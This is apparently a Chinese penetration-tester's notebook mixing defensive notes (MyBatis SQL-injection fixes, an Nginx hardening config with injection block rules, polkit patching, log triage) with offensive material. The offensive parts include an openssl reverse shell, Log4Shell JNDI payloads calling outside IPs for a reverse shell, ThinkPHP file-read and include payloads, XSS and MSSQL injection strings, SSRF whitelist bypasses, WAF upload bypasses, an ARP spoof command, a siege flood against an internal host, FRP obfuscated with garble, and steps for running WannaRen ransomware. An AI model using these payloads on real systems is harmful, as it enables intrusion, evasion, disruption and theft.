     <bind name="pattern" value="'%' + name + '%'" />
         select * from Studentinfo where name like #{pattern}
    
    方案一:
    like concat('%',#{title}, '%'),
    
  3. in之后参数的SQL注入。使用如下SQL语句可防止SQL注入

    id in
    <foreach collection="ids" item="item" open="("separator="," close=")">
    #{item} 
    </foreach>
    

*就地取材网络穿透

iptables重定向实现端口转发

Nginx端口转发

Powershell本地开启Socks代理

Invoke-SocksProxy.psm1

Create a Socks 4/5 proxy on port 1234:

Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1234

Create a simple tcp port forward:

Import-Module .\Invoke-SocksProxy.psm1
Invoke-PortFwd -bindPort 33389 -destHost 127.0.0.1 -destPort 3389

Create a “reverse” Socks 4/5 proxy on port 1080 of a remote host:

########### On the remote host: 
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem

# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"

# Start the handler
python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key

########## On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 

# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy

# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'

# Give up after a number of failed connections to the handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10

应急网站日志筛选

应急巡检

find / \( -path /proc -o -path /sys -o -path /var/lib \) -prune -o -type f -mtime -1 -executable -print 2>/dev/null

find / \( -path /proc -o -path /sys -o -path /var/lib \) -prune -o -type f -mtime -1  -print 2>/dev/null

ps aux --sort=start_time


netstat -anotup |grep EST

筛选URL部分

cat access.log |cut -d '"' -f 4 |cut -d " " -f 2 |cut -d "?" -f 1 > url-11.log

排序后去重统计次数,再筛选jsp后缀

cat url-11.log |sort| uniq -c|sort -g|grep .jsp

Linux 下比较文件内容并删除相同部分

文件上传绕WAF

文件内容检测

前面写一个正常的超大文件

后面再加一个同名的上传项为木马后缀文件

尖括号不闭合

文件后缀检测

Tomcat 部署 WAR 包拦截绕过

转载:记一次 Tomcat 部署 WAR 包拦截绕过的深究

https://www.ch1ng.com/blog/264.html

由于fu2.\war在流量中WAF是不认为它是一个危险的后缀,所以也就不拦截了。往后延伸,其实\f\u\2\.w\a\r 或者demo.w\\\\\\ar等都可以进行绕过,后续看各位师傅的发挥了。

转载:记一次 Tomcat 部署 WAR 包拦截绕过的深究

https://www.ch1ng.com/blog/264.html

由于fu2.\war在流量中WAF是不认为它是一个危险的后缀,所以也就不拦截了。往后延伸,其实\f\u\2\.w\a\r 或者demo.w\\\\\\ar等都可以进行绕过,后续看各位师傅的发挥了。

小程序源码解包

  1. 从Android手机提取小程序包,/data/data/com.tencent.mm/MicroMsg/{{一串32位的16进制字符串名文件夹}}/appbrand/pkg/xxxxxxx.wxapkg

  2. 安装node.js运行环境

  3. 安装wxappUnpacker

    git clone https://github.com/xuedingmiaojun/wxappUnpacker.git
    cd wxappUnpacker
    npm install
    npm install esprima
    npm install css-tree
    npm install cssbeautify
    npm install vm2
    npm install uglify-es
    npm install js-beautify
    
  4. 解包主包

    #windows系统使用: 
    ./bingo.bat mypkg/master-xxx.wxapkg
    #Linux系统使用: 
    ./bingo.sh mypkg/master-xxx.wxapkg
    
  5. 解包子包

    #windows系统使用: 
    ./bingo.bat mpkg/sub-1-xxx.wxapkg -s=../master-xxx
    #Linux系统使用: 
    ./bingo.sh mypkg/sub-1-xxx.wxapkg -s=../master-xxx
    

Nginx配置文件

# -----全局变量配置 START----------------
# nginx开启的进程数,一般与当前服务器cpu核数相应
worker_processes  8;

# 一个nginx进程打开的最多文件描述符数目
# worker_rlimit_nofile 65535;
# ----------------全局变量配置 END----------------


# ----------------事件配置 START----------------
events {
    # 注意:最大客户数也由系统的可用socket连接数限制(~ 64K),所以设置不切实际的高没什么好处
    worker_connections  20480;
}
# ----------------事件配置 END----------------



# ----------------http配置 START----------------
http {
    # ----------------http基本变量配置 START----------------
    # 文件扩展名与文件类型映射表
    include       mime.types;

    # 默认文件类型
    default_type  application/octet-stream;

    # 隐藏nginx版本号
    server_tokens  off; 

    # 启用自定义错误页面
    proxy_intercept_errors on;

    # 开启高效传输模式。
    sendfile on;

    # 防止网络阻塞
    tcp_nopush on;
    tcp_nodelay on;

    # 客户端请求单个文件的最大字节数
    client_max_body_size 8m;

    # 服务器名字的hash表大小
    server_names_hash_bucket_size 128;

    # 指定来自客户端请求头的hearerbuffer大小
    client_header_buffer_size 32k;

    # 指定客户端请求中较大的消息头的缓存最大数量和大小。
    large_client_header_buffers 4 64k;

    # 客户端连接超时时间,单位是秒
    keepalive_timeout 60;

    # 客户端请求头读取超时时间
    client_header_timeout 10;

    # 设置客户端请求主体读取超时时间
    client_body_timeout 10;

    # 响应客户端超时时间
    send_timeout 10;

    # FastCGI相关参数是为了改善网站的性能:减少资源占用,提高访问速度。
    fastcgi_connect_timeout 300;
    fastcgi_send_timeout 300;
    fastcgi_read_timeout 300;
    fastcgi_buffer_size 64k;
    fastcgi_buffers 4 64k;
    fastcgi_busy_buffers_size 128k;
    fastcgi_temp_file_write_size 128k;

    # 开启gzip压缩输出
    gzip on;

    # 最小压缩文件大小
    gzip_min_length 1k;

    # 压缩缓冲区
    gzip_buffers 4 16k;

    # 压缩版本(默认1.1,前端如果是squid2.5请使用1.0)
    gzip_http_version 1.0;

    # 压缩等级 1-9 等级越高,压缩效果越好,节约宽带,但CPU消耗大
    gzip_comp_level 2;

    # 压缩类型,默认就已经包含text/html,所以下面就不用再写了,写上去也不会有问题,但是会有一个warn。
    gzip_types text/plain application/x-javascript text/css application/xml;

    # 前端缓存服务器缓存经过压缩的页面
    gzip_vary on;
    # ----------------http基本变量配置 END----------------




    # ----------------访问成功打印日志(定时分析攻击) START----------------
    # 定义日志格式
    # log_format  analysis  '$remote_addr';
    # 访问成功打印日志(根据定义的格式打印)
    # access_log  logs/analysis-access.log  analysis;
    access_log off;
    # ----------------访问成功打印日志(定时分析攻击) END----------------


    # ----------------反向代理变量配置 START----------------
    # 代理cookie http 头
    # proxy_set_header Cookie $http_cookie;
    # proxy_set_header Host $http_host;
    # proxy_set_header X-Real-IP $remote_addr;
    # proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    # proxy_set_header X-Forwarded-scheme $scheme;
    # proxy_set_header x-agent $http_user_agent;
    # add_header backendIP $upstream_addr;

    # nginx跟后端服务器连接超时时间(代理连接超时)
    proxy_connect_timeout 200;

    # 后端服务器数据回传时间(代理发送超时)
    proxy_send_timeout 5;

    # 连接成功后,后端服务器响应时间(代理接收超时)
    proxy_read_timeout 300;

    # 设置代理服务器(nginx)保存用户头信息的缓冲区大小
    proxy_buffer_size 16k;

    # proxy_buffers缓冲区,网页平均在32k以下的话,这样设置
    proxy_buffers 4 32k;

    # 高负荷下缓冲大小(proxy_buffers*2)
    proxy_busy_buffers_size 64k;

    # 设定缓存文件夹大小,大于这个值,将从upstream服务器传
    proxy_temp_file_write_size 64k;

    # 反向代理缓存目录
    # levels=1:2 设置目录深度,第一层目录是1个字符,第2层是2个字符
    # keys_zone:设置web缓存名称和内存缓存空间大小
    # inactive:自动清除缓存文件时间。
    # max_size:硬盘空间最大可使用值。
    # proxy_cache_path proxy/cache levels=1:2 keys_zone=cache_one:500m inactive=1d max_size=1g;

    # 指定临时缓存文件的存储路径(路径需和上面路径在同一分区)
    # proxy_temp_path proxy/temp;
    # ----------------反向代理变量配置 END----------------



    # ----------------Server配置 START----------------
    server {
        listen 80;
        server_name www.msatmb.com;
        rewrite ^(.*)$ https://$host$1 permanent;
    }

    server {
        listen 443 ssl;
        server_name www.msatmb.com;

        ssl_certificate cert/6995984_www.msatmb.com.pem;
        ssl_certificate_key cert/6995984_www.msatmb.com.key;
        ssl_session_timeout 5m;
        ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_prefer_server_ciphers on;

        location /{
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header Host $host;
            proxy_set_header Referer $http_referer;
            proxy_set_header X-Real-Port $remote_port;
            proxy_set_header X-Real-User $remote_user;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto  $scheme;

            proxy_pass http://127.0.0.1:10001;
        }

        # ----------------安全加固 START----------------
        # 屏蔽IP,仅限中/美国IP访问
        # if ( $geoip_country_code !~  ^(CN|US)$ ) {
        #   return 403;
        # }

        # 强制网站使用域名访问,可以逃过IP扫描
        if ( $host !~* 'msatmb.com' ) {
            return 403;
        }

        # 封杀特定的url
        location ~* \.(bak|save|sh|sql|mdb|svn|git|old)$ {
            rewrite ^/(.*)$  $host  permanent;
        }

        # 封杀特定的http方法和行为
        if ($request_method !~ ^(GET|POST|HEAD)$ ) {
            return 405;
        }
        if ($http_range ~ "\d{9,}") {
            return 444;
        }

        # 禁SQL注入
        set $block_sql_injections 0; 
        if ($request_uri ~* "(cost\()|(concat\()") { set $block_sql_injections 1; }
        if ($request_uri ~* "[+|(%20)]union[+|(%20)]") { set $block_sql_injections 1; }
        if ($request_uri ~* "[+|(%20)]and[+|(%20)]") { set $block_sql_injections 1; }
        if ($request_uri ~* "[+|(%20)]select[+|(%20)]") { set $block_sql_injections 1; }
        if ($request_uri ~* "[+|(%20)]or[+|(%20)]") { set $block_sql_injections 1; }
        if ($request_uri ~* "[+|(%20)]delete[+|(%20)]") { set $block_sql_injections 1; }
        if ($request_uri ~* "[+|(%20)]update[+|(%20)]") { set $block_sql_injections 1; }
        if ($request_uri ~* "[+|(%20)]insert[+|(%20)]") { set $block_sql_injections 1; }
        if ($block_sql_injections = 1) { return 444; }

        # 禁掉文件注入 
        set $block_file_injections 0;
        if ($query_string ~ "[a-zA-Z0-9_]=http://") { set $block_file_injections 1; }
        if ($query_string ~ "[a-zA-Z0-9_]=(..//?)+") { set $block_file_injections 1; }
        if ($query_string ~ "[a-zA-Z0-9_]=/([a-z0-9_.]//?)+") { set $block_file_injections 1; }
        if ($block_file_injections = 1) { return 444; }

        # 禁掉溢出攻击
        set $block_common_exploits 0;
        if ($query_string ~ "(<|%3C).*script.*(>|%3E)") { set $block_common_exploits 1; }
        if ($query_string ~ "GLOBALS(=|[|%[0-9A-Z]{0,2})") { set $block_common_exploits 1; }
        if ($query_string ~ "_REQUEST(=|[|%[0-9A-Z]{0,2})") { set $block_common_exploits 1; }
        if ($query_string ~ "proc/self/environ") { set $block_common_exploits 1; }
        if ($query_string ~ "mosConfig_[a-zA-Z_]{1,21}(=|%3D)") { set $block_common_exploits 1; }
        if ($query_string ~ "base64_(en|de)code(.*)") { set $block_common_exploits 1; }
        if ($block_common_exploits = 1) { return 444; }

        # 禁spam字段
        set $block_spam 0;
        if ($query_string ~ "b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)b") { set $block_spam 1; }
        if ($query_string ~ "b(erections|hoodia|huronriveracres|impotence|levitra|libido)b") { set $block_spam 1; }
        if ($query_string ~ "b(ambien|bluespill|cialis|cocaine|ejaculation|erectile)b") { set $block_spam 1; }
        if ($query_string ~ "b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)b") { set $block_spam 1; }
        if ($block_spam = 1) { return 444; }

        # 禁掉user-agents
        set $block_user_agents 0;
        if ($http_user_agent ~ "Indy Library") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "libwww-perl") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "GetRight") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "GetWeb!") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "Go!Zilla") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "Download Demon") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "Go-Ahead-Got-It") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "TurnitinBot") {
            set $block_user_agents 1;
        }
        if ($http_user_agent ~ "GrabNet") {
            set $block_user_agents 1;
        }
        if ($block_user_agents = 1) {
            return 444;
        }
        # ----------------安全加固 END----------------



        # ----------------错误状态码页面 START----------------
        error_page  404              /404.html;

        location = /404.html {
            root   var/html/error_page;
        }
        # ----------------错误状态码页面 END----------------
    }
    # ----------------Server配置 END----------------


}
# ----------------http配置 END----------------

粤盾2022复盘

时间顺序

第一天、第二天 打点不足,内网不会

偏见:现场队员实力不能打内网,内网丢给后援。应该鼓励打点。

技术层面

信息收集

靶标单位名称/靶标URL

平台信息 提供IP

ENscan-go/fofa_viewer/

128个靶标/近100个单位

政务主题

人名/手机号/账号命名规律

如何搜

WEB、小程序、公众号链接 IP/域名-》子域名-》端口-》组成URL(400/500)-》xray扫描

扫描无结果的情况下,之前收集的域名没有做归属分类,回到域名原点,挫折感。

深度

一次铺网范围太广泛,把控不了精细度

单个单位收集深度不足

打不穿不罢手

盲目C网段不恰当

时间不足

提前准备

靶标

手段

供应链/开发厂商/招投标承接公司

供应链-》通靶标单位

招投公司-》单独测试环境

信息收集加入权重

github、开源仓库源码泄露

仓库内搜索、API调用

汇总表

格式

表中链接

有深入再开word文档

常规渗透手段

工具是否齐全 struts2/weblogic/shiro/log4j2/thinkphp/ 弱口令探测

一个一个站翻比较慢

常用工具是否趁手

中间件/CMS等专有漏洞储备量

攻防获取权限方向的规范

其他攻击手段

钓鱼

辅助工具/杂项

多人协助: word-》CodiMD excel-》腾讯云文档 代理池

后渗透

代理搭建/木马工具免杀/

mimikatz/数据库/文件配置

管理组织层面

队员分工

信息同步协调

没有及时调整方向

1、突破政务网 2、攻击供应链的理解不足/开发厂商

赛果重要性意识

粤盾后攻防进修

信息收集

信息收集表格模板

社工收集方法(收集人名/手机号/账号命名规律/邮箱)

源码仓库信息泄露收集脚本(关键词)

供应链/开发商/招投标承接公司收集方法

渗透手段

getshell工具(struts2/weblogic/shiro/log4j2/thinkphp/)

专有组件漏洞储备

定制弱口令爆破工具(批量指定IP+端口+服务)

攻防渗透判断到底的规范指引

杂项

在线协作平台 CodiMD

打开这个链接,跟着文档操作即可 https://hackmd.io/c/codimd-documentation/%2Fs%2Fcodimd-docker-deployment#Using-docker-compose-to-setup-CodiMD 1、系统要安装好docker和docker-compose, 2、创建docker-compose并写入下方的内容 3、修改用户名和密码,就是里面的user和password(可选) 4、执行 docker-compose up -d 开始拉取镜像并运行 5、默认使用的端口是3000,记得开放端口 6、浏览 http://localhost:3000 测试功能

docker-compose.yml的内容如下(2022/8/30) 里面的change_password改成可以改成自己的密码

version: "3"
services:
  database:
    image: postgres:11.6-alpine
    environment:
      - POSTGRES_USER=codimd
      - POSTGRES_PASSWORD=change_password
      - POSTGRES_DB=codimd
    volumes:
      - "database-data:/var/lib/postgresql/data"
    restart: always
  codimd:
    image: hackmdio/hackmd:2.4.2
    environment:
      - CMD_DB_URL=postgres://codimd:change_password@database/codimd
      - CMD_USECDN=false
    depends_on:
      - database
    ports:
      - "3000:3000"
    volumes:
      - upload-data:/home/hackmd/app/public/uploads
    restart: always
volumes:
  database-data: {}
  upload-data: {}

后渗透

思路

集权系统(堡垒机/EDR安全设备)/网络设备(VPN/路由器/防火墙)/运维人员终端/双网卡主机/网关探测/配置通用密码查找/

技能

代理/免杀/主机信息搜集

密码字典规律

服务器与PC主机

六位工号{u+六位工号、}

_SSO_T_00113

姓名拼音{全拼、姓_名、姓全拼名首字母}

面向企业/个人的强+弱口令

结构

前缀

中词

后缀

组成

关键字

企业名
名字
出生年月
手机号
网站域名
网站开发商公司名
CMS名

常用词

管理员/网站角色词
测试账号名

特殊符号

!@#¥%~.?+-*&

附加

特殊变种或固定弱口令

test123

参考

社会工程学的弱口令密码字典生成

白鹿社工字典生成器

GitHub找源码

Advanced search –> Code options

extension:php path:/application/seller/

HTTP2 Cache Poisoning

https://youst.in/posts/cache-poisoning-at-scale/

https://github.com/PortSwigger/param-miner/releases/tag/v1.27

CentOS加固

下载

polkit-0.112-26.el7_9.1.x86_64.rpm http://mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm

polkit-0.96-11.el6_10.2.x86_64.rpm https://els6.baruwa.com/els6/polkit-0.96-11.el6_10.2.x86_64.rpm

离线修复方式(适用内网服务器)

①下载离线包:http://mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm 或者到:http://mirror.centos.org/centos/7/updates/x86_64/Packages/

②使用命令:rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm

校验

rpm -K polkit-0.112-26.el7_9.1.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

参考文章

Google:“polkit-0.96-11.el6_10.2.x86_64.rpm”

https://access.redhat.com/errata/RHSA-2022:0269

『官方解答及缓解措施』RHSB-2022-001 Polkit 特权升级 -(CVE-2021-4034)

CentOS 7关于Linux Polkit本地权限提升漏洞(CVE-2021-4034)的在线和离线的两种修复方式

(提供的下载包不可信)CentOS 6 修复 polkit 提权漏洞

网站DoS

WEB压力测试

siege -c 1000 -b -i -T 'application/json' 'https://10.219.235.70/CamstarPortal/ApolloPortalService.svc/web/Logon  POST {"domain":"gg.yanlian.desay.net","profile":{"Name":"sss","Password":{"Value":"ssss","IsEncrypted":false},"Domain":"yanlian.desay.net","UTCOffset":480}}'

ARP

sudo arpspoof -i eno2 -t 10.219.67.100 -t 10.219.67.101 10.219.67.1

免费域名

1、访问nic.eu.org,注册帐号。

2、访问cloudns.net,注册帐号,点击Dashboard - DNS Hosting - create zone,在Domain name填写添加想注册的域名。注意需要eu.org后缀。

3、提交成功后跳转,可以看到4条NS记录服务器地址,默认为ns41.cloudns.net、ns42.cloudns.net、ns43.cloudns.net、ns44.cloudns.net。实际地址自行在域名解析菜单查看。

3、登陆nic.eu.org,点击New domain,在Complete domain name栏填写想注册的域名。Name servers一栏,填写cloudns.net的解析服务器地址。根据实际填写。点击提交,最后一行显示no error,即注册成功。

参考阅读:

How to get a free lifetime domain with eu.org

FRP编译改造

编译

git clone --brach v0.49.0 https://github.com/fatedier/frp.git
cd frp
go tool dist list

#windows/amd64
env CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frpc.exe ./cmd/frpc
env CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frps.exe ./cmd/frps

#linux/amd64
env CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frpc-linux ./cmd/frpc
env CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o bin/frps-linux ./cmd/frps

#darwin/arm64
make

env CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -trimpath -ldflags "-s -w" -o bin/frpc ./cmd/frpc

PATH=$(go env GOROOT)/bin:${PATH}
env CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 garble  -tiny -literals -seed=random build -trimpath -ldflags "-s -w" -o bin/frpc ./cmd/frpc

TLS加密传输

tls_only = true
tls_enable = ture
disable_custom_tls_first_byte = true
#(可选)修改源码FRPTLSHeadByte
/pkg/util/net/tls.go

代码混淆

go install mvdan.cc/garble@latest

Google Dork

shodan,censys,fofa,zoomeye

sonar,binaryedge,shadowserver,expanse,傻蛋

在什么年份之前/之后

before:2020

after:2016

JAVA安全编码大纲

Java安全编码实践总结

大纲

Java安全编码&代码审计课程大纲(包括但不限于) • 常见的web应用攻击 • 应用安全生命周期 • 安全开发落地模型 • web应用安全漏洞分析与审计 • 输入输出编码规范 • 文件管理安全规范 • 身份与访问控制规范 • 会话与通讯安全规范CSRF • 异常处理与日志规范 • 数据安全规范 • 接口调用及其安全编码

• 应用安全生命周期

概念类:SDL

• 安全开发落地模型

Microsoft SDL 的简化实施.docx

• 数据安全规范

关于国家标准《信息安全技术 网络数据处理安全规范》征求意见稿征求意见的通知

信息安全技术 网络数据处理安全要求-标准文本.pdf

• 常见的web应用攻击

注入类(SQL注入、命令执行)

跨站脚本攻击(XSS)

失效的身份认证和会话管理(弱口令、口令破解)

失效的访问控制(未授权、越权访问、文件(上传、读取、包含))

安全配置错误(目录索引)

敏感信息泄露(源文件、数据库文件)

Java反序列化

• WEB应用安全漏洞分析与审计

同上、同时展开分析与审计。

安全编码规范

OWASP安全编码规范快速参考指中文版下载

Securitypaper

SDL规范文档-03.java安全编码规范

SDL落地方案

• 输入输出编码规范 • 文件管理安全规范 • 身份与访问控制规范 • 会话与通讯安全规范CSRF • 异常处理与日志规范 • 接口调用及其安全编码

*JAVA代码审计函数

SSRF

java.net.HttpURLConnection.openConnection()

java.net.URL

java.net.URI

java.net.Socket

org.apache.http.client.HttpClient

XXE

javax.xml.parsers.DocumentBuilder

javax.xml.parsers.DocumentBuilderFactory

org.dom4j.io.SAXReader

org.jdom2.input.SAXBuilder

org.xml.sax.XMLReader

命令执行

java.lang.Runtime

java.lang.ProcessBuilder

JWT测试项

1、头签名算法是否为none

2、值字段敏感信息

3、删除签名

4、JWT密钥爆破

参考链接:

JWT (JSON Web Token) (in)security

JWT认证机制漏洞利用

Nessus配置

固定网络速度 advanced-performance Options-Max number of concurrent TCP sessions 当网络堵塞减慢发包速度 advanced-performance Options-slowdown 扫挂自动停止 Advanced-General Settings-Stop scanning hosts that become unresponsive

应用层漏扫

配置特定端口 Discovery-Port scaning 设置路径 Assessment-web application-web crawler-starting from

QNX命令

查找可写可执行的分区

mount |grep rw |grep -v noexec
mount -o remount,exec /var/lib

端口扫描

nc -nvz -w 10 <ip> 1024-65535 |& grep succeeded
nmap -Pn -n -sT --open --host-timeout 10s -p 1024-65535 <ip> |& grep succeeded

nc传文件

nc 10.1.0.102 9999 < /tmp/941.pcap

nc -l 10.1.0.102 9999 > /Users/jyufu/Downloads/941.pcap

查找一小时内修改过的文件

find / -mmin -60 ! -path '/proc*' ! -path '/sys*'

帮助

use XXX

查询端口对应的进程名

QNX 中 netstat 没有 -p 选项。

pidin fds

sockstat

反弹shell

# 监听
openssl s_server -quiet -key server.key -cert server.pem -port 4444                         # 目标端  
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.7.1:4444 > /tmp/s; rm /tmp/s

日志服务

slogger2

slog2info查看

slog2info -l /dev/shem/slog2/111111.ErrorManagement.573471..0

GPG签名

gpg --gen-key
gpg --armor --output private-key.txt --export-secret-keys
gpg --output doc.sig --detach-sig doc
gpg --verify doc.sig doc

GPG入门教程

QNX Command Cheat Sheet

[QNX Command Cheatsheet.png](https://github.com/delikely/Wiki/blob/main/cheatsheet/QNX/QNX Command Cheatsheet V0.1.png)

SOME/IP

Wireshark-分析-开启的协议-搜索SOMEIP,勾选。

ANDi 工具有免费的版本和付费版本。

免费版下载:https://files.technica-engineering.de/ANDi%20Free/

付费版下载: https://files.technica-engineering.de/ANDi/

汽车SOME/IP协议如何Fuzzing?

FUZZ

AFL、libFuzzer或Ori等

Fuzz

https://www.secrss.com/articles/52696

参考资料

汽车以太网协议之 SOME/IP(上)

汽车以太网协议之 SOME/IP(下)

SSRF绕过

假设白名单为img.cantonfair.org.cn

37signals开发的定制DNS跳转服务

http://xxx.192.168.0.1.xip.io` 

加端口号绕过正则

http://192.168.0.1:80

典型

@

http://img.cantonfair.org.cn@bbb.aaa.xyz:8990/

配置错误

错误通配子域名

正常:*.cantonfair.org.cn

错误:*cantonfair.org.cn

http://11111cantonfair.org.cn@bbb.aaa.xyz:8990/

域名末尾匹配了斜杠/

get参数

http://bbb.aaa.xyz:8990/img.cantonfair.org.cn/a.png?aa=img.cantonfair.org.cn/aaa.png#img.cantonfair.org.cn/aa.png

http://bbb.aaa.xyz:8990/#img.cantonfair.org.cn/aa.png

文件目录

http://bbb.aaa.xyz:8990/img.cantonfair.org.cn/a.png

匹配https或http

切换一下http或s

https://bbb.aaa.xyz:8990/img.cantonfair.org.cn/a.png

甚至碰碰运气,去掉协议头

//bbb.aaa.xyz:8990

还有一些混合叠加乱FUZZ的

https://img.cantonfair.org.cn@ali00.poorme.xyz:8999/20210907/8befbc3698d5b27.png?1mg.cantonfair.org.cn/20210907/8befb7.png

非典型?

http://42.193.128.173/getlightdata.php?act=get_light_data&filename=data://text/plain;base64,TzoxOiJBIjoxOntzOjM6Im9uZSI7aToxO30%3d?aaa=

SSRF Fuzz

了解SSRF,这一篇就足够了

url=
login=
redirect_to=
qurl=
logout=
data=
ext=
clickurl=
jump_to=
next=
to=
goto=
callback_url=
jump=
jump_url=
return=
click?u=
originUrl=
Redirect=
sp_url=
service=
redirect_url=
redirect=
rit_url=
forward_url=
callback=
forward=
success=
recurl=
j?url=
uri=
u=
allinurl=
q=
link=
src=
tc?src=
linkAddress=
location=
go=
pic=
burl=
request=
backurl=
RedirectUrl=
ReturnUrl=
origin=
Url=
desturl=
page=
u1=
action=
action_url=
target=
linkto=
domain=
dest=

0x01 可能出现的地方

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

WAF工作流程/绕过

身份认证:黑白名单,白名单IP、白名单Cookie、User-agent、Referer

数据包解析:无法解析就Pass服务器

规则匹配

WannaRen病毒勒索样本

[病毒样本] #WannaRen #Ransomware

复现

WannaRen在虚拟机中成功运行的方法

WINWORD.EXE和wwlib.dll要放到C:\ProgramData下,you放到C:\Users\Public下

第一次运行WINWORD.EXE。然后在C:\Users\Public会生成一个fm文件,里面记录了时间。

使用txt打开fm,修改日期为三天前即可。比如2020年04月10日,改为2020年04月07日,或者06,05日都行。

第二次运行WINWORD.EXE,即可成功被勒索。

解密器

火绒:[技术原创] 【已更新解密工具】WannaRen勒索病毒作者主动向火绒提供解密密钥

https://www.huorong.cn/download/tools/wannaren_decryptor/HRDecryptor.exe

NSFOCUS脚本:http://blog.nsfocus.net/wannaren-report-0409/

解密工具:
链接1:
https://pan.baidu.com/s/1ZldVHNfuFC4NrPARqqmF4g 
提取码: s42h
链接2:
https://github.com/FuYingLAB-NSFOCUS/WannarenDecrypt

扩展阅读

新病毒利用office完成自启动

Windows日志语句速查

路径

%SystemRoot%\System32\Winevt\Logs\

指定IP的登陆失败/成功的账号名

LogParser.exe -i:EVT -o:DATAGRID "SELECT EventID,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Strings,19,'|') as Loginip1,EXTRACT_TOKEN(Strings,18,'|') as Loginip2 FROM C:\Users\jojo\Desktop\sec-7.evtx where (EventID=4625 and Loginip1='10.66.210.62') or (EventID=4624 and Loginip2='10.66.210.62') order by LoginTime desc"

1102 日志清除

1100 日志服务关闭

筛选指定时间内登陆成功失败情况

LogParser.exe -i:EVT -o:DATAGRID "SELECT EventID,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Strings,19,'|') as Loginip1,EXTRACT_TOKEN(Strings,18,'|') as Loginip2 FROM C:\Users\jojo\Desktop\sec-7.evtx where (EventID=4625 or EventID=4624) and TimeGenerated>'2022-08-22 00:00:00' and TimeGenerated<'2022-08-23 23:34:00'  order by LoginTime desc"

XSS测试

PoC

<sVg/onfake="x=y"oNload=;1^(co\u006efirm)``^1//

XSS平台搭建

AntSwordProject / ant

78778443 / xssplatform

使用docker快速搭建xssPlatform测试平台实践

nanoninja / docker-nginx-php-mysql

ThinkPHP

版本识别

访问不存在的控制器,导致报错

日志泄露分析

ThinkPHP5 RCE

控制器校验绕过

Think5.0.x

控制器可以用点号替代

文件读取

/?s=.|think\config/get&name=database.username
/?s=./\think\config/get&name=database.username

文件包含

?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件

SQL PoC

Usage · sqlmapproject/sqlmap Wiki · GitHub

MSSQL报错注入

0'or 66=convert(float,sys.fn_sqlvarbasetostr(HashBytes('MD5','1962630235')))--0

Log4Shell

${jndi:ldap://first.3i4ay3.ceye.io/Exploit}

${jndi:ldap://47.118.71.103:9999/Basic/ReverseShell/47.118.71.103/9200}

POC

${jndi:dns://xxx.xxx.xxx.xxx:port/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}}
${${env:COPYTHAT:-j}ndi:dns://114.114.114.114:53/${sys:java.version}}

